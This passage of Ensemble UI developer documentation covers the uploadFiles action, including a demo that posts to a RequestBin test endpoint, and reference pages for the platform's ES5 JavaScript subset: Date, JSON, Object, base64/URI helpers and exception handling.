:----- | :-------------------- | -| title | string | Title of notification | -| body | string | Body of notification | - -**Example** - -You can refer [here](#requestnotificationaccess) for example related to notification. Can also refer complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/zbIn4f6tD3yQkC1MJRj1?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true). - ---- - -# uploadFiles - -uploadFiles action allows users to select and upload files from their device to the app, enabling easy data transfer and content sharing, supporting various file formats, and enhancing the app's versatility and user engagement. - -### Properties - -| Property | Type | Description | -| :--------- | :----- | :----------------------------------------------------------------------------------------- | -| id | string | Give the uploadApi an ID, allows you to bind to its result. e.g. ${apiId.body...} | -| uploadApi | string | Enter the name of your defined API | -| onComplete | action | Execute another Action upon successful upload of files | -| onError | action | Execute an Action when uploader fails with error(s) | -| inputs | array | Define the list of input names that upload API accepts | -| fieldName | string | Field name that your server is expecting (default files) | -| files | string | Binded files from sources like camera or picker. e.g ${filePicker.files}, ${camerId.files} | -| options | object | [see properties](#propertiesoptions) | - -#### properties.option - -| Property | Type | Description | -| :--------------------- | :------ | :---------------------------------------------------------------------------------------------------------------------- | -| maxFileSize | integer | File size that is allowed (default 100 mb), If multiple is allow then sum of all files | -| overMaxFileSizeMessage | string | Error message to show when selected files size is above maxFileSize. | -| backgroundTask | boolean | If set true, uploading will be done in background. | -| showNotification | boolean | If set true, progress will be show in notification bar. | -| networkType | object | An enumeration of network types. `connected` `metered` `not_required` `not_roaming` `unmetered` `temporarily_unmetered` | - -**Example** - - - -```yaml -View: - # Optional - style the screen - styles: - scrollableView: true - - # Optional - set the header for the screen - header: - title: "Action: uploadFiles" - - # Specify the body of the screen - body: - Column: - styles: { gap: 16, padding: 24 } - children: - - Markdown: - text: | - Use the `uploadFiles` action upload files to specify `uploadApi`. - - Then use the `onComplete` properties to execute other actions when upload is successful. - - - Button: - label: Pick Files - onTap: - pickFiles: - id: picker - - - Button: - label: Upload Picked files - onTap: - executeCode: - body: | - //@code - loading.visible = true; - - onComplete: - uploadFiles: - id: fileUploader - files: ${picker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - loading.visible = false; - onError: | - //@code - - loading.visible = false; - maxFileSize: 100 - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${fileUploader.body} - - - Progress: - display: circular - id: loading - visible: false - - - Divider - - - Markdown: - text: | - Chain multiple file actions to pick files and upload them in one go - - Using `pickFiles` to pick file based on platform picker - - Using `uploadFiles` to upload selected files from file picker - - - Button: - label: Pick & Upload - onTap: - pickFiles: - id: filePicker - onComplete: - uploadFiles: - files: ${filePicker.files} - uploadApi: fileUploadApi - inputs: - url: https://en09cdal5asztm.x.pipedream.net - onComplete: | - //@code - ensemble.debug('File uploaded'); - - - Divider: - - - Markdown: - text: | - `pickFiles` also comes with option such as: - - - `allowMultiple` : To allow muliple file selection from gallery picker default (false) - - `allowCompression` : It will allow media to apply the default OS compression (default True) - - `allowedExtensions` : To filter file picking based on extensions like jpg, png, pdf... - - `uploadFiles` also comes with option such as: - - - `files` : Pass the files that needs to upload e.g ${filePicker.files} - - - `fieldName` : Field name that your server is expecting. (default files). - - - `maxFileSize`: File size that is allowed in kb (default 100 mb), If multiple is allow then sum of all files - - `overMaxFileSizeMessage`: Error message to show when selected files size is above maxFileSize. - - - Row: - styles: { mainAxis: spaceBetween, crossAxis: center } - children: - - Button: - label: Multiple Images - onTap: - pickFiles: - id: images - allowMultiple: true - allowCompression: false - allowedExtensions: - - jpg - - png - - - Text: - text: ${images.files.length} - - Button: - label: Upload Multiple images - onTap: - uploadFiles: - id: imageUploader - uploadApi: fileUploadApi - files: ${images.files} - fieldName: files - inputs: - url: https://en09cdal5asztm.x.pipedream.net - maxFileSize: 100 # in kb - overMaxFileSizeMessage: Please select files less than 100kb - - - Markdown: - text: ${imageUploader.body} - - Divider - - - Markdown: - text: | - ### Background file upload - - Pick and Upload files in background. - - In unmetered connection (wifi/lan) - - Also show notification - - *Not supported on web / studio. - - - Button: - label: Background upload - onTap: - pickFiles: - id: bgFilePicker - onComplete: - uploadFiles: - uploadApi: fileUploadApi - files: ${bgFilePicker.files} - inputs: - url: https://en09cdal5asztm.x.pipedream.net - id: bgUploader - options: - backgroundTask: true - showNotification: true - networkType: unmetered - - - Divider: - - - Markdown: - text: | - _Side Note: If you are using default uploadURL it's using RequestBin_ - - _RequestBin has maxFileSize of __100 kb__ above it will fail._ - - _You can see you API request [here](https://requestbin.com/r/en09cdal5asztm/2Lzx3lZ071EFF9dFKZCXJTnkJHS)_ - - - Divider: - -API: - fileUploadApi: - inputs: - - url - uri: ${url} - method: POST -``` - - - -complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/mvFbwP5K5yvAqTlncTga?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) - ---- - -# Add logic using JavaScript - -Welcome to the Ensemble Javascript manual. It provides how-to guides, API reference documentation and examples. - -## Limitations - -Ensemble's javascript is a limited subset of the javascript you may be used to. It is used primarily for manipulating the JSON response from the server, performing UI logic when handling events or writing re-usable functions. - -Following are the key limitations of the javascript in Ensemble. - -- Only supports ES5. Which means that it does _not_ support any of the ES6 features listed [here](https://www.w3schools.com/js/js_es6.asp). There is _no_ support for arrow function synatx (=>), let keyword and many other features you may be used to. -- No support for importing libraries. Limited to what's provided outside the box. -- No support for `.prototype` or defining new objects. This may come in the future. - -Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of these capabilities or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -## Where is Javascript code used? - -Javascript is the language to build your logic in Ensemble. It is used either as code blocks or as inline expressions. We discuss both below. - -### Code Block - -Each code block must start with `//@code` as the first line. This tells the platform to process the text as code. - -- Use code blocks to handling events or processing API responses. -- Each code block must be in the `body` of the `executeCode` action. - -See below the two use cases where code blocks are used. - -#### Handling Events - -Specified as the `executeCode` action. -Example - - -```js - Button: - label: Click Me - onTap: - executeCode: - body: | - //@code - myText.text = 'tapped out'; -``` - -#### Process API responses - -Another common place code blocks are used is when the API response has to be handled to extract values to be set on widgets or response to be set so that one or more `item-template` on the page may get the data in the format that they expect. See both examples below. -Example 1: set widget property in API response - -```js - API: - getDummyData: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: - executeCode: - body: | - //@code - myText.text = 'Got Response!'; -``` - -Example 2: processing response and setting it for the `item-template` that are bound to this API to use - -```js - API: - getDummyData: - uri: https://dummyjson.com/users/1 - method: GET - onResponse: - executeCode: - body: | - //@code - //this will replace the response and be used by the item-templates that bind to this API - response.body.data = [{"field1:"value1"}]; -``` - -### Inline Expressions and bindings - -Use inline expressions for dynamically assigning values to widget properties. Inline expressions automatically update the properties of widgets by `binding` them to API responses or template data. - -More details coming soon... TBD - -## Referencing Ensemble widgets and their properties inside javascript - -All widgets on a screen can be referenced within the code block by their `id` field. This also means that ids need to be unique on a screen. Don't set id on your re-usable custom widgets. -No need to call a function, simply use the id of the widget and start accessing its properties. For example, if your widget has `id: myText`, you can reference it in code block or inside an expression as just `myText`. See below. - -```js - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - id: myText - text: Hi there! - - Button: - label: Click Me - onTap: - executeCode: - body: | - //@code - myText.text = 'tapped out'; -``` - -Widgets within an item-template can be referenced by their index in the array using the `this.selectedItemIndex` syntax. -For example. - -```js - ListView: - id: listView - onItemTap: - navigateScreen: - name: ListView - Detail Page - inputs: - doc_type: ${getPeople.body.users[this.selectedItemIndex]} - styles: {expanded: true } - itemTemplate: - data: ${getPeople.body.users} - name: users - template: - MyRow: - inputs: - p: ${users} -``` - -## Core Libraries - -- [The `ensemble` object](#ensemble-objects-and-their-properties) -- [String](#string-functions) -- [Numbers](#number-functions) -- [Date](#javascript-date) -- [Object and Array](#object) -- [Globals](#consolelog) -- [Math](#javascript-math) -- [JSON](#json) -- [JsonPath](#jsonpath) - -## Common Errors and Logging/Debugging - -TBD - ---- - -# JavaScript Date -The Date object is a built-in JavaScript object that represents a single moment in time, based on the number of milliseconds since January 1, 1970, 00:00:00 UTC. - -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -## Constructors - -### Date() -Creates a new Date object with the current date and time. - -Example: -```js -var date = new Date(); -console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" -``` - -### Date(milliseconds) -Creates a new Date object with the time set to the number of milliseconds since January 1, 1970, 00:00:00 UTC. - -Example: -```js -var date = new Date(1622633347521); -console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" -``` -### Date(dateString) -Creates a new Date object with the time set to the value specified by the dateString. - -**Note: The function parses a subset of ISO 8601, which includes the subset accepted by RFC 3339.** - -The accepted inputs are currently: - -* A date: A signed four-to-six digit year, two digit month and two digit day, optionally separated by - characters. Examples: "19700101", "-0004-12-24", "81030-04-01". -* An optional time part, separated from the date by either T or a space. The time part is a two digit hour, then optionally a two digit minutes value, then optionally a two digit seconds value, and then optionally a '.' or ',' followed by at least a one digit second fraction. The minutes and seconds may be separated from the previous parts by a ':'. Examples: "12", "12:30:24.124", "12:30:24,124", "123010.50". -* An optional time-zone offset part, possibly separated from the previous by a space. The time zone is either 'z' or 'Z', or it is a signed two digit hour part and an optional two digit minute part. The sign must be either "+" or "-", and cannot be omitted. The minutes may be separated from the hours by a ':'. Examples: "Z", "-10", "+01:30", "+1130". -* This includes the output of both toString and toIso8601String, which will be parsed back into a DateTime object with the same time as the original. - -The result is always in either local time or UTC. If a time zone offset other than UTC is specified, the time is converted to the equivalent UTC time. - -Examples of accepted strings: - -* "2012-02-27" -* "2012-02-27 13:27:00" -* "2012-02-27 13:27:00.123456789z" -* "2012-02-27 13:27:00,123456789z" -* "20120227 13:27:00" -* "20120227T132700" -* "20120227" -* "+20120227" -* "2012-02-27T14Z" -* "2012-02-27T14+00:00" -* "-123450101 00:00:00 Z": in the year -12345. -* "2002-02-27T14:00:00-0500": Same as "2002-02-27T19:00:00Z" - -This method accepts out-of-range component values and interprets them as overflows into the next larger component. For example, "2020-01-42" will be parsed as 2020-02-11, because the last valid date in that month is 2020-01-31, so 42 days is interpreted as 31 days of that month plus 11 days into the next month. - -Example: -```js -var date = new Date("2022-06-02T10:49:07.521Z"); -console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" -``` -### Date(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]) -Creates a new Date object with the specified date and time components. The month parameter is 0-indexed (0 for January, 1 for February, etc.). - -Example: -```js -var date = new Date(2022, 5, 2, 10, 49, 7, 521); -console.log(date.toString()); // Example output: "Thu Jun 02 2022 10:49:07 GMT+0200 (Central European Summer Time)" -``` -## Methods - -### Date.UTC(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]) -Returns the number of milliseconds since January 1, 1970, 00:00:00 UTC for the specified date and time components. - -Example: -```js -var utc = Date.UTC(2022, 5, 2, 10, 49, 7, 521); -console.log(utc); // Example output: 1654259347521 -``` -### getTime() -Returns the number of milliseconds since January 1, 1970, 00:00:00 UTC. - -Example: -```js -var date = new Date(); -var time = date.getTime(); -console.log(time); // Example output: 1622633347521 -``` -### getFullYear() -Returns the year according to the local time. - -Example: -```js -var date = new Date(); -var year = date.getFullYear(); -console.log(year); // Example output: 2022 -``` -### getMonth() -Returns the month according to the local time (0-indexed). - -Example: -```js -var date = new Date(); -var month = date.getMonth(); -console.log(month); // Example output: 5 (for June) -``` -### getDate() -Returns the day of the month according to the local time. - -Example: -```js -var date = new Date(); -var dayOfMonth = date.getDate(); -console.log(dayOfMonth); // Example output: 2 -``` -### getHours() -An integer, between 0 and 23, representing the hours for the given date according to local time. - -Example: -```js -var birthday = new Date('March 13, 08 04:20'); -console.log(birthday.getHours());// Expected output: 4 -``` -### getMinutes() -Returns the minutes according to the local time. - -Example: -```js -var date = new Date(); -var minutes = date.getMinutes(); -console.log(minutes); // Example output: 49 -``` -### getSeconds() -Returns the seconds according to the local time. - -Example: -```js -var date = new Date(); -var seconds = date.getSeconds(); -console.log(seconds); // Example output: 7 -``` -### getMilliseconds() -Returns the milliseconds according to the local time. - -Example: -```js -var date = new Date(); -var milliseconds = date.getMilliseconds(); -console.log(milliseconds); // Example output: 521 -``` -### getDay() -Returns the day of the week according to the local time. - -Example: -```js -var date = new Date(); -var dayOfWeek = date.getDay(); -console.log(dayOfWeek); // Example output: 4 (for Thursday) -``` -### toISOString() -Returns the Date object as a ISO8601 string. It does not support internationalized strings. -This string can be parsed back into the Date object using the parse() method - -Example: -```js -var event = new Date('2023-11-02 17:07:35.053068'); -var str = date.toISOString() -console.log(str); // Example output: "2023-11-03T00:07:35.053068Z" -``` -### toJSON() -Returns the Date object as an ISO 8601 formatted string in UTC. - -Example: -```js -var date = new Date(); -var jsonString = date.toJSON(); -console.log(jsonString); // Example output: "2022-06-02T10:49:07.521Z" -``` -### toLocaleDateString() -Returns the date formatted with locale conventions. -- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. - -Example: -```js -var event = new Date('2023-11-02T17:07:35.053Z'); - -// "11/2/2023" (US) or "2/11/2023" (UK) depending on detected locale -console.log(event.toLocaleDateString()); - -// Force a locale (British English). Output 2/11/2023 -console.log(event.toLocaleDateString('en-GB'); -``` - -### toLocaleTimeString() -Returns the time portion of the Date object as a string, using locale conventions. -- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. - -```js -var event = new Date('2023-11-02T17:07:35.053Z'); -var str = event.toLocaleTimeString(); - -// output: "5:07:35 PM" or "17:07:35" depending on the detected locale -console.log(str); - -// force es locale, outputing "17:07:35" -console.log(event.toLocaleTimeString("es")); - -``` - -### toLocaleString() -Returns the full date and time according to locale-specific conventions. -- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. - -```js -var event = new Date('2023-11-02T17:07:35.053Z'); - -// output "11/2/2023, 5:07:35 PM" or "2/11/2023, 17:07:35" depending on detected locale -console.log(event.toLocaleString()); - -// force a locale, outputing "2/11/2023, 17:07:35" -console.log(event.toLocaleString("es"); -``` - -### toString() -Returns the Date object as a human readable string. It does not support internationalized strings. -This string can be parsed back into the Date object using the parse() method - -Example: -```js -var date = new Date(); -var str = date.toString() -console.log(str); // Example output: "2023-11-02 17:03:32.094453" -``` -### valueOf() -Returns the primitive value of the Date object, which is the number of milliseconds since midnight of January 1, 1970 UTC. - -Example: -```js -var event = new Date('2023-11-02T17:07:35.053Z'); -var val = event.valueOf(); -console.log(val); // Example output: 1698947255053 -``` - -### setTime(timeValue) -Sets the Date object to the time represented by the number of milliseconds since January 1, 1970, 00:00:00 UTC. - -Example: -```js -var date = new Date(); -date.setTime(1622633347521); -console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" -``` -### setDate() -Description: Sets the day of the month for a specified date according to local time. -Syntax: dateObj.setDate(dayValue) -Parameters: -dayValue: An integer from 1 to 31, representing the day of the month. -Example: -```js -var date = new Date(); -date.setDate(15); -``` -### setMonth() -Description: Sets the month for a specified date according to local time. -Syntax: dateObj.setMonth(monthValue) -Parameters: -monthValue: An integer from 0 (January) to 11 (December) representing the month. -Example: -```js -var date = new Date(); -date.setMonth(5); // Sets the month to June -``` -### setFullYear() -Description: Sets the full year for a specified date according to local time. -Syntax: dateObj.setFullYear(yearValue) -Parameters: -yearValue: An integer specifying the numeric value of the year, e.g., 1995. -Example: -```js -var date = new Date(); -date.setFullYear(2024); -``` -### setHours() -Description: Sets the hours for a specified date according to local time. -Syntax: dateObj.setHours(hoursValue) -Parameters: -hoursValue: An integer from 0 to 23, representing the hour. -Example: -```js -var date = new Date(); -date.setHours(13); -``` -### setMinutes() -Description: Sets the minutes for a specified date according to local time. -Syntax: dateObj.setMinutes(minutesValue) -Parameters: -minutesValue: An integer from 0 to 59, representing the minutes. -Example: -```js -var date = new Date(); -date.setMinutes(45); -``` -### setUTCDate() -Description: Sets the day of the month for a specified date according to UTC. -Syntax: dateObj.setUTCDate(dayValue) -Parameters: -dayValue: An integer from 1 to 31, representing the day of the month. -Example: -```js -var date = new Date(); -date.setUTCDate(15); -``` -### setUTCMonth() -Description: Sets the month for a specified date according to UTC. -Syntax: dateObj.setUTCMonth(monthValue) -Parameters: -monthValue: An integer from 0 (January) to 11 (December) representing the month. -Example: -```js -var date = new Date(); -date.setUTCMonth(5); // Sets the month to June -``` -### setUTCFullYear() -Description: Sets the full year for a specified date according to UTC. -Syntax: dateObj.setUTCFullYear(yearValue) -Parameters: -yearValue: An integer specifying the numeric value of the year, e.g., 1995. -Example: -```js -var date = new Date(); -date.setUTCFullYear(2024); -``` -### setUTCHours() -Description: Sets the hours for a specified date according to UTC. -Syntax: dateObj.setUTCHours(hoursValue) -Parameters: -hoursValue: An integer from 0 to 23, representing the hour. -Example: -```js -var date = new Date(); -date.setUTCHours(13); -``` -### setUTCMinutes() -Description: Sets the minutes for a specified date according to UTC. -Syntax: dateObj.setUTCMinutes(minutesValue) -Parameters: -minutesValue: An integer from 0 to 59, representing the minutes. -Example: -```js -var date = new Date(); -date.setUTCMinutes(45); -``` -### setUTCSeconds() -Description: Sets the seconds for a specified date according to UTC. -Syntax: dateObj.setUTCSeconds(secondsValue) -Parameters: -secondsValue: An integer from 0 to 59, representing the seconds. -Example: -```js -var date = new Date(); -date.setUTCSeconds(30); -``` -### setUTCMilliseconds() -Description: Sets the milliseconds for a specified date according to UTC. -Syntax: dateObj.setUTCMilliseconds(millisecondsValue) -Parameters: -millisecondsValue: An integer from 0 to 999, representing the milliseconds. -Example: -```js -var date = new Date(); -date.setUTCMilliseconds(500); -``` - -## UTC Methods -These methods are similar to their local-time counterparts but use UTC time instead of local time. -### getUTCFullYear() -Example: -```js -var date = new Date(); -var utcFullYear = date.getUTCFullYear(); -console.log(utcFullYear); // Example output: 2022 -``` -### getUTCMonth() -Example: -```js -var date = new Date(); -var utcMonth = date.getUTCMonth(); -console.log(utcMonth); // Example output: 5 (for June) -``` -### getUTCDate() -Example: -```js -var date = new Date(); -var utcDate = date.getUTCDate(); -console.log(utcDate); // Example output: 2 -``` -### getUTCHours() -Example: -```js -var date = new Date(); -var utcHours = date.getUTCHours(); -console.log(utcHours); // Example output: 10 -``` -### getUTCMinutes() -Example: -```js -var date = new Date(); -var utcMinutes = date.getUTCMinutes(); -console.log(utcMinutes); // Example output: 49 -``` -### getUTCSeconds() -Example: -```js -var date = new Date(); -var utcSeconds = date.getUTCSeconds(); -console.log(utcSeconds); // Example output: 7 -``` -### getUTCMilliseconds() -Example: -```js -var date = new Date(); -var utcMilliseconds = date.getUTCMilliseconds(); -console.log(utcMilliseconds); // Example output: 521 -``` -### getUTCDay() -Example: -```js -var date = new Date(); -var utcDay = date.getUTCDay(); -console.log(utcDay); // Example output: 4 (for Thursday) -``` -## Arithmatic Operations with Date -You can use a Date object as a primitive and add, subtract, multiply etc. as follows. -Example -```js -var date = new Date(2022, 5, 2, 10, 49, 7, 521); -var yesterday = date - 1000 * 60 * 60 * 24; // current date's milliseconds - 1,000 ms * 60 s * 60 mins * 24 hrs * (# of days beyond one to go back) -yesterday = new Date(yesterday); -console.log(yesterday); //Example output: 1 -``` - ---- - -# Ensemble Objects and their properties - -# The `app` object -`app` object provides app and theme configuration related properties and methods. -## Properties - -### baseUrl -Returns the `baseUrl` if one is specified in configuration. NOTE: `baseUrl` cannot be set and can only be retrieved. -```yaml -API: - myAPI: - url: ${app.baseUrl}/path/file.json -``` -or in js - -```js -var url = app.baseUrl; -``` -### useMockResponse -Sets or Returns the value of `useMockResponse`. See [this](https://docs.ensembleui.com/#/build/use-mock-api-response?id=mocking-api-responses-to-develop-and-test-your-app) for details on how to mock responses for your APIs during development or testing. -```js -app.useMockResponse = true; -var isInMockResponseMode = app.useMockResponse; //returns true -``` -### Theme -Sets or Returns the value of the current theme. See [this](#theme) for details on how themes work and how to set/get a theme. - -### Themes -Returns the current set of themes that were configured in the app. NOTE: you can only retrieve the list of pre-configured themes, you cannot add to the list or set the list to a different list. - -See [this](#checking-and-switching-themes-in-javascript) on how to configure multiple themes. - -**Example:** - -Bind the `themes` to a dropdown and let user switch themes from all the available themes. -```yaml - - Dropdown: - label: Pick a Theme - items: ${app.themes} - value: ${app.theme} - onChange: - executeCode: - body: | - app.theme = this.value; -``` -## Methods -### saveTheme -Saves the theme name passed as argument into the persistent storage. This theme is then automatically applied on the next re-launch of the app. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. - -### getSavedTheme -Retrieves the saved theme. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. - -### removeSavedTheme -Clear out the saved theme. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. - ---- - -# Exception Handling in Javascript - -Ensemble supports try/catch/finally in ES5 and the throw clause as well. In JavaScript ES5, the try/catch/finally structure, along with the throw statement, provides robust error-handling capabilities. These constructs allow developers to handle runtime errors gracefully, ensuring that code can respond to unexpected issues without crashing. - -The try block contains code that might throw an error, and if an error occurs, control immediately moves to the catch block, where the error can be handled. - -The finally block, which is optional, executes regardless of whether an error was caught, making it useful for cleanup tasks (like closing connections or freeing up resources). - -The throw statement allows you to generate custom errors by “throwing” an error that can be caught by catch. This is particularly useful for input validation and other scenarios where specific conditions need to be enforced. - -In the following example, the function `divide` is throwing an error that is then caught in the catch clause and a toast message is shown. - -```yaml -View: - styles: - useSafeArea: true - - # Optional - set the header for the screen - header: - titleText: Home - - # Specify the body of the screen - body: - Column: - styles: - padding: 24 - gap: 8 - children: - - Text: - text: Hi there! - - Button: - label: Checkout Ensemble Kitchen Sink - onTap: - executeCode: - body: |- - try { - console.log(divide(10, 0)); // Will throw an error - } catch (error) { - console.log("Caught an error: " + error.message); - var payload = { - message: error.message, - options: { - type: 'error', - duration: 3, - alignment: 'bottomRight' - } - }; - ensemble.showToast(payload); - } finally { - console.log("Execution completed."); - } - -Global: |- - // Javascript code - function divide(a, b) { - if (b === 0) { - throw new Error("Division by zero is not allowed"); // Custom error - //You can just throw a string as well as follows - - //throw "Division by zero is not allowed"; - } - return a / b; - } - -``` - ---- - -# Defining and Re-using Javascript Code - -There are two ways to re-use js code as follows - - -- `Global` block within a screen definition. This, despite its name, is limited to the screen it is defined in and cannot be referenced in other screens -- `Scripts` a script that is defined independent of a screen (see video below) may be used anywhere in the app by simply importing it. - -In both cases above, you can define javascript variables (only `var` is supported as this is ES5, see [here](#add-logic-using-javascript)) or functions. - -## Example of `Global` code block within a screen - -```yaml -View: - #your screen definition -Global: |- - //code block - function sum(a,b) { - return a + b; - } -``` - -## Example of re-usable `Script` defined outside a screen and imported in any screen or widget -A script defined outside a screen, however, can be imported on any screen or widget across the app by simply doing - - -```yaml -Import: - - myScript -``` -Watch the following video for how to define a js library and re-use it across the app - -## Demo - -
- ---- - -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -For `parseInt`, `parseFloat`, see [String.tryParseInt](#string-functions) and [String.tryParseDouble](#string-functions) respectively. - -### console.log - -The `console.log()` function is used to print messages to the console. It can be used for debugging purposes or to display information. - -**Example:** - -```javascript -console.log("Hello, World!"); // Output: Hello, World! -``` - -### regexp.test - -The `regexp.test()` function is used to test if a given string matches a regular expression pattern. It returns `true` if the string matches the pattern, and `false` otherwise. - -**Example:** - -```javascript -var pattern = /hello/; -var str = "Hello, World!"; -console.log(pattern.test(str)); // Output: false -str = "hello, how are you?"; -console.log(pattern.test(str)); // Output: true -``` -### btoa - -The `btoa()` function is used to encode a string in base64 format. It takes a string as input and returns a base64 encoded string. - -**Example:** - -```javascript -var str = "Hello, World!"; -console.log(btoa(str)); // Output: SGVsbG8sIFdvcmxkIQ== -``` - -### atob - -The `atob()` function is used to decode a base64 encoded string. It takes a base64 encoded string as input and returns the decoded string. - -**Example:** - -```javascript -var base64Str = "SGVsbG8sIFdvcmxkIQ=="; -console.log(atob(base64Str)); // Output: Hello, World! -``` -### encodeURIComponent -The `encodeURIComponent(str)` function encodes a URI component by escaping all characters except alphabetic characters, decimal digits, and a few special characters (-, _, ., !, ~, *, ', (, )). It is used to encode the values of query string parameters to ensure special characters do not interfere with the way the URI is interpreted by browsers and servers. For example, it encodes spaces as %20 and = as %3D. -[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent) - -**Example:** -```javascript -var myParam = 'This & That'; -var encodedParam = encodeURIComponent(myParam); -console.log(encodedParam); // Outputs: This%20%26%20That -``` -### decodeURIComponent -`decodeURIComponent(str)` function decodes a URI component previously created by encodeURIComponent or by a similar routine. It reverses the encoding process by replacing percent-encoded characters with their corresponding ASCII characters. -[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent) - -**Example:** -```javascript -var decodedParam = decodeURIComponent(encodedParam); -console.log(decodedParam); // Outputs: This & That -``` - -### encodeURI -`encodeURI(uri)`: Unlike encodeURIComponent, this function is intended to encode a complete URI without escaping characters that have special meanings in URIs (like :, /, ?, &, =). It encodes the necessary components of the URI to make it safe for transmission by escaping all characters except those considered safe. -[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI) - -**Example:** -```javascript -var uri = 'https://mozilla.org/?x=шеллы'; -var encoded = encodeURI(uri); -console.log(encoded); -// Expected output: "https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" -``` - -### decodeURI -`decodeURI(encodedURI)`: This function is used to decode a URI that was previously encoded using encodeURI. It decodes the entire URI but will not decode characters that are part of the URI syntax itself (like ? and # in query strings and fragments). -[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURI) - -**Example:** -```javascript -var uri = 'https://mozilla.org/?x=шеллы'; -var encoded = encodeURI(uri); -console.log(encoded); -// Expected output: "https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" - -console.log(decodeURI(encoded)); -// Expected output: "https://mozilla.org/?x=шеллы" - -``` - ---- - -# JSON -Ensemble Javascript provides two key methods to deal with the JSON objects. - -## Methods -### parse() -The JSON.parse() static method parses a JSON string, constructing the JavaScript object described by the string. - -#### Returns -Returns a Javascript object - -Example - -```js -const json = '{"result":true, "count":42}'; -const obj = JSON.parse(json); - -console.log(obj.count); -// Expected output: 42 - -console.log(obj.result); -// Expected output: true -``` -### stringify() -The JSON.stringify() static method converts a JavaScript value to a JSON string. - -Types that are directly converted to json strings - string, number, array, object (map), boolean and date. Date objects are converted to string by calling the [toISOString()](#toisostring) method. - -#### Returns -Returns a string representing the json object - -Example - -```js -console.log(JSON.stringify({ x: 5, y: 6 })); -// Expected output: '{"x":5,"y":6}' -``` - ---- - -# JsonPath - -TBD - ---- - -# Object -Any property of a javascript object may be accessed using either the parenthesis `['propname']` or the dot `myObj.propname`. - -- It the property does not exist on the object, it will return null. Exception will *not* be thrown. -- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities -- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) - -## Constructor - -```js -var obj = {a: 1, b: 'abc'};//creates a new object with properties a and b -var obj2 = new Object(); //creates a new empty object -obj2['a'] = 1; //adds property a to the object -obj2['b'] = 'abc'; -``` - -## Static Methods -### Object.keys(value) -See Object.keys in javascript. Returns an array of a given object's own enumerable property names. - -Example - -```js -var result = Object.keys({a: 1, b: 2, c: 3}); -// result: ['a', 'b', 'c'] -``` -### Object.values(value) -See Object.values in javascript. Returns an array of a given object's own enumerable property values. -Example - -```js -var result = Object.values({a: 1, b: 2, c: 3}); -// result: [1, 2, 3] -``` -### Object.entries(value) -See Object.entries in javascript. Returns an array of a given object's own enumerable property [key, value] pairs. -Example - -```js -var result = Object.entries({a: 1, b: 2, c: 3}); -// result: [['a', 1], ['b', 2], ['c', 3]] -``` - -### hasOwnProperty(value, key) - -Checks if the provided key exists as an own property of the object. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = hasOwnProperty(obj, 'a'); -// result: true -``` - -### getPropertyNames(value) - -Retrieves an array of all enumerable property names (keys) of the object. - -Example - -```js -var obj = { a: 1, b: 2, c: 3 }; -var result = getPropertyNames(obj); -// result: ['a', 'b', 'c'] -``` - -### toString(value) - -Converts the value to a string representation. - -Example - - -```js -var obj = { a: 1, b: 2 }; -var result = toString(obj); -// result: '[object Object]' -``` - -### toJSON(value) - -Converts the value into a JSON string. Works with objects, arrays, or other types. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = toJSON(obj); -// result: '{"a":1,"b":2}' -``` - -### defineProperty(value, key, property) - -Defines a new property on the object or updates an existing one. If the value is not an object, this function does nothing. - -Example - -```js -var obj = { a: 1 }; -var result = defineProperty(obj, 'b', 2); -// result: { a: 1, b: 2 } -``` - -### deleteProperty(value, key) - -Deletes the specified property from the object. If the key does not exist, it does nothing. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = deleteProperty(obj, 'b'); -// result: { a: 1 } -``` - -### has(value, key) - -Checks if the specified key exists in the object. Works like hasOwnProperty. - -Example - -```js -var obj = { a: 1, b: 2 }; -var result = has(obj, 'b'); -// result: true -``` - -### propertyIsEnumerable(value, key) - -Checks if the given property key is enumerable in the object. - -Example - -```js -var obj = { a: 